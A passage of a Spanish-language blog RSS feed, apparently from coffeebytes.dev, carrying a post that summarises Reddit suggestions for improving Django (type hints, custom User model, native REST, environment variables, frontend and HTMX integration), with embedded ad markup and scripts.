      <summary>&lt;p&gt;El ORM de Django es bastante útil y versátil, puede realizar la mayoría de las operaciones frecuentes de SQL, tales como filtrar, particionar, realizar joins u ordenar información, crear alias, y es &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/por-que-deberias-usar-django-framework/&#34;&gt;una de las mejores características que Django ofrece&lt;/a&gt;&#xA;, pero también tiene sus limitaciones, sobre todo cuando se combina con subqueries, hoy te platico de una de sus limitaciones y como resolverla.&lt;/p&gt;&#xA;&lt;h2 id=&#34;django-annotate-y-subqueries-un-problema-de-rendimiento&#34;&gt;Django annotate y subqueries, un problema de rendimiento&lt;/h2&gt;&#xA;&lt;p&gt;La función Django annotate, de la que ya te hablé en una &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/django-annotate-y-aggregate-explicados/&#34;&gt;entrada donde explico las diferencias que existen entre annotate y aggregate&lt;/a&gt;&#xA; en Django, sirve para agregar información a una consulta SQL, esta información puede ser un promedio, una sumatoria o cualquier otra cosa que quieres, el problema ocurre cuando esa información proviene de una subquery.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>¿Cómo mejorar Django Framework?</title>
      <link>https://coffeebytes.dev/es/opinion/como-mejorar-django-framework/</link>
      <pubDate>Sun, 23 Jun 2024 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/opinion/como-mejorar-django-framework/</guid>
      
      <category>django</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;El 21 de Junio del 2024 inicié un hilo en reddit con la siguiente pregunta: &amp;ldquo;What would you improve about Django framework?&amp;rdquo; (¿Qué mejorarías de Django Framework?). La respuesta de la comunidad fue inmediata y la conversación se lleno rápidamente de sugerencias parar mejorar Django framework que van desde las modestas hasta algunas bastante radicales. Te resumo los resultados a continuación.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://htmx.org/img/memes/20yearold.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://htmx.org/img/memes/20yearold.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;HTMX Meme&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;HTMX meme&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Django 5 salió y todos los libros anteriores se volvieron obsoletos porque están usando versiones antiguas de django en sus ejemplos, este no lo es y cubre todas las características básicas de django que hacen de este framework una de las apuestas más estables, probadas en batalla y seguras a la hora de diseñar una aplicación web.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Django for Beginners\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751669153/coffee-bytes/django-for-begginers_300_xqbdi2.webp\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3Qx2pli\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Django for Beginners y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender Django Framework de manera profunda?\&#34;},{\&#34;description\&#34;:\&#34;Olvídate de Clean Code y lee este libro en su lugar. ¿Por qué? escribir buen software es difícil porque la definición de buen software es muy variable, este libro trata esa cuestión en profundidad. A lo largo del libro aprenderás sobre la complejidad y su flujo, abstracciones, paradigmas de ocultamiento información y la meta filosofía de la programación. En mi opinión, A philosophy of Software Design va más allá de lo que Clean Code puede ofrecer, lo siento tío Bob.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro A philosophy of software design\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/a-philosophy-of-software-design.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4i8kodH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de A philosophy of software design y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo diseñar software de calidad y mantanible?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;mejorar-django-framework-con-type-hints&#34;&gt;¿Mejorar Django Framework con type hints?&lt;/h2&gt;&#xA;&lt;p&gt;Este fue el comentario que recibió más apoyo de la comunidad. A pesar de que Python ya cuenta con Type Hints opcionales desde su versión 3.5, parece que su implementación con el propósito de modernizar Django Framework no parece ser una prioridad.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-improve-django-framework/images/comment-with-more-support-on-how-to-improve-django.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-improve-django-framework/images/comment-with-more-support-on-how-to-improve-django.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Comentario con más apoyo sobre como mejorar Django Framework&#34; width=&#34;592&#34; height=&#34;140&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Comentario con más apoyo sobre como mejorar Django Framework&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;La popularidad de los type hints es tal, que algunos usuarios que los consideran una mejora significativa al framework han desarrollado &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/typeddjango/django-stubs&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;una librería externa, llamada django-stubs&lt;/a&gt;&#xA;, que se propone renovar a Django Framework con type hints.&lt;/p&gt;&#xA;&lt;h3 id=&#34;los-type-hints-ya-fueron-evualuados-y-rechazados&#34;&gt;Los type hints ya fueron evualuados y rechazados&lt;/h3&gt;&#xA;&lt;p&gt;Sin embargo, según los usuarios de reddit, no hay mucho interés por parte de los encargados del código para incorporar estos cambios como parte del código. Incluso ha hanido &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/django/deps/pull/65&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;propuestas para incorporar los type hints en el repositorio oficial de Django&lt;/a&gt;&#xA;, pero estos cambios han sido desestimados, probablemente debido a que consideran el tipado como una contradicción a la naturaleza de Python como un lenguaje dinámico.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &#xA;    &#xA;    En caso de que no lo sepas, los type hints te permiten declarar el tipo de una variable, argumento o el valor de retorno de una función para que sea más sencillo identificar los bugs o comportamientos no deseados. Piensa en los type hints de Python como el Typescript de Python, o como un tipado estático opcional de algún lenguaje compilado, como C, C&amp;#43;&amp;#43; o Rust.&#xA;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;usar-un-user-model-personalizado-en-lugar-del-user-model-normal&#34;&gt;Usar un User model personalizado en lugar del User model normal&lt;/h2&gt;&#xA;&lt;p&gt;El segundo comentario que recibió más apoyo afirma que personalizar el modelo User de Django es bastante complicado, sobre todo si se hace a mediados de un proyecto, específicamente cambiar el tipo de login por defecto de Django, de usuario a correo electrónico.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-improve-django-framework/images/custom-user-model-to-improve-django.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-improve-django-framework/images/custom-user-model-to-improve-django.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Segundo comentario con más apoyo sobre como mejorar django framework&#34; width=&#34;793&#34; height=&#34;136&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Segundo comentario con más apoyo sobre como mejorar django framework&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;A pesar de que hay múltiples maneras de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/managers-o-manejadores-personalizados-en-django/&#34;&gt;personalizar el modelo User en Django&lt;/a&gt;&#xA;, tales como usar un modelo proxy, o heredar de &lt;em&gt;AbstractUser&lt;/em&gt;, algunos usuarios consideran que esa solución se siente &amp;ldquo;hackish&amp;rdquo; (podríamos traducirlo como &lt;em&gt;forzada&lt;/em&gt; o &lt;em&gt;chapucera&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &#xA;    &#xA;    Por si no lo sabes, Django usa por defecto el *username* de su modelo de *User*, en combinación con el password, para loggear un usuario. Pero la tendencia actual en el desarrollo web es utilizar directamente el correo electrónico. &#xA;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;soporte-para-rest-en-django-sin-librerias-de-terceros&#34;&gt;Soporte para REST en Django sin librerías de terceros&lt;/h2&gt;&#xA;&lt;p&gt;A pesar de que Django cuenta con una de las mejores librerías para crear una aplicación que cumpla las &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/caracteristicas-basicas-de-una-api-rest/&#34;&gt;características de una API REST&lt;/a&gt;&#xA;; DRF (Django Rest Framework). Los usuarios de reddit consideran que Django debería brindar soporte para las API REST &amp;ldquo;out of the box&amp;rdquo;, como parte nativa del framework.&lt;/p&gt;&#xA;&lt;p&gt;La anterior me parece una propuesta interesante pero también entiendo que, a pesar de la madurez de REST, darle preferencia sobre el resto de APIs, como por ejemplo el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/apis-de-alto-rendimiento-go-lang-grpc-y-protobuffers/&#34;&gt;moderno gRPC de Google&lt;/a&gt;&#xA;, SOAP, o alguna API que aún no ha emergido, puede ser considerado como un paso bastante arriesgado por el comité de Django. Sí, inclusive aunque existan librerías completas basadas en REST, como &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/docker/python-fastapi-el-mejor-framework-de-python/&#34;&gt;FastAPI&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;leer-las-variables-entorno-en-django-sin-librerias-de-terceros&#34;&gt;Leer las variables entorno en Django sin librerías de terceros&lt;/h2&gt;&#xA;&lt;p&gt;Django puede leer las variables de entorno utilizando directamente la librería &lt;em&gt;os&lt;/em&gt; de Python, pero otras librerías, como &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://django-environ.readthedocs.io/en/latest/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;django-environ&lt;/a&gt;&#xA;, han sido desarrolladas para proveer una solución más robusta, en donde sea lea directamente desde un archivo &lt;em&gt;.env&lt;/em&gt; y en donde la ausencia de una variable de entorno haga fallar la aplicación, garantizando que una aplicación de Django no pueda iniciar si falta tan solo una variable de entorno, que es lo que me imagino que los desarrolladores de este popular foro desean.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; os&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;environ[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;VARIABLE&amp;#34;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;otros-frameworks-que-si-leen-variables-de-entorno&#34;&gt;Otros frameworks que sí leen variables de entorno&lt;/h3&gt;&#xA;&lt;p&gt;Contrario a Django, Frameworks como Nextjs cargan las variables de entorno de manera predeterminada e inclusive te permiten volver públicas algunas de ellas mediante el prefijo &lt;em&gt;NEXT_PUBLIC_&lt;/em&gt; pero en el caso de Django es necesario cargar las variables que se requieran de manera manual o utilizar una librería de terceros.&lt;/p&gt;&#xA;&lt;h2 id=&#34;integracion-nativa-de-django-con-el-frontend&#34;&gt;Integración nativa de Django con el frontend&lt;/h2&gt;&#xA;&lt;p&gt;No es ningún secreto que el frontend ha recibido un impulso gigantesco en los últimos años, librerías como React, Vue, Svelte y otras han tomado un protagonismo remarcable en los últimos años, cambiando por completo el paradigma del desarrollo en el lado del cliente. Django se ha mostrado agnóstico respecto a la separación entre Backend y Frontend, probablemente porque &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/por-que-deberias-usar-django-framework/&#34;&gt;Django es un framework monolítico&lt;/a&gt;&#xA; (y lo digo de forma no peyorativa).&lt;/p&gt;&#xA;&lt;p&gt;Supongo que algunos usuarios consideran que Django no debería quedarse atrás y debería proveer opciones de integración con algunas librerías frontend para favorecer la reactividad de las aplicaciones, tal como Nextjs hace desde algún tiempo, pues te permite seleccionar la librería frontend con la cual trabajar e inclusive se encarga de la minificación y el tree-shaking del código a través de Webpack o su compilador experimental escrito en Rust.&lt;/p&gt;&#xA;&lt;h3 id=&#34;mejorar-django-con-htmx&#34;&gt;Mejorar Django con HTMX&lt;/h3&gt;&#xA;&lt;p&gt;A mi me parece que Django ya hace un excelente trabajo con su sistema de plantillas y que combina perfectamente con &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/django-y-htmx-web-apps-modernas-sin-escribir-js/&#34;&gt;librerías como HTMX&lt;/a&gt;&#xA;, para poder aprovechar todo el poder del hipertexto sin la necesidad de incorporar Javascript al proyecto.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://htmx.org/img/memes/original.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://htmx.org/img/memes/original.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Delirio de Javascript de acuerdo a HTMX&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Delirio de Javascript de acuerdo a HTMX&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Sin más que agregar te dejo el enlace a la discusión por si quieres ver el resto de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.reddit.com/r/django/comments/1dlj5n6/what_would_you_improve_about_django_framework/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;sugerencias sobre como mejorar Django Framework.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;otras-sugerencias-sobre-como-mejorar-django-framework&#34;&gt;Otras sugerencias sobre cómo mejorar Django framework&lt;/h2&gt;&#xA;&lt;p&gt;Entre las demás sugerencias me gustaría destacar las siguientes, pues se recibieron un apoyo menor o se repitieron a lo largo del hilo:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Agregar &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/arregla-querys-lentas-en-django-al-usar-annotate-y-subqueries/&#34;&gt;soporte para CTEs a su ORM&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Mejor manejo de formularios&lt;/li&gt;&#xA;&lt;li&gt;Mejor manejo de contenido estático con énfasis en los frameworks frontend más populares&lt;/li&gt;&#xA;&lt;li&gt;Soporte &amp;ldquo;out of the box&amp;rdquo; para colas&lt;/li&gt;&#xA;&lt;li&gt;Recarga en caliente del navegador&lt;/li&gt;&#xA;&lt;li&gt;Generador básico de CRUD boilerplate&lt;/li&gt;&#xA;&lt;li&gt;Precarga automática de modelos relacionados.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;sugerencias-que-terminaron-siendo-librerias-de-terceros&#34;&gt;Sugerencias que terminaron siendo librerías de terceros&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/typeddjango/django-stubs/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Tipos estáticos e inferencia de tipos para el framework Django&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.iommi.rocks/en/latest/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Manejo de formularios para Django con esteroides&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://noumenal.es/neapolitan/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;CRUD para Django al instante&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;El 21 de Junio del 2024 inicié un hilo en reddit con la siguiente pregunta: &amp;ldquo;What would you improve about Django framework?&amp;rdquo; (¿Qué mejorarías de Django Framework?). La respuesta de la comunidad fue inmediata y la conversación se lleno rápidamente de sugerencias parar mejorar Django framework que van desde las modestas hasta algunas bastante radicales. Te resumo los resultados a continuación.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://htmx.org/img/memes/20yearold.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://htmx.org/img/memes/20yearold.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;HTMX Meme&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;HTMX meme&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Django 5 salió y todos los libros anteriores se volvieron obsoletos porque están usando versiones antiguas de django en sus ejemplos, este no lo es y cubre todas las características básicas de django que hacen de este framework una de las apuestas más estables, probadas en batalla y seguras a la hora de diseñar una aplicación web.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Django for Beginners\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751669153/coffee-bytes/django-for-begginers_300_xqbdi2.webp\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3Qx2pli\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Django for Beginners y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender Django Framework de manera profunda?\&#34;},{\&#34;description\&#34;:\&#34;Olvídate de Clean Code y lee este libro en su lugar. ¿Por qué? escribir buen software es difícil porque la definición de buen software es muy variable, este libro trata esa cuestión en profundidad. A lo largo del libro aprenderás sobre la complejidad y su flujo, abstracciones, 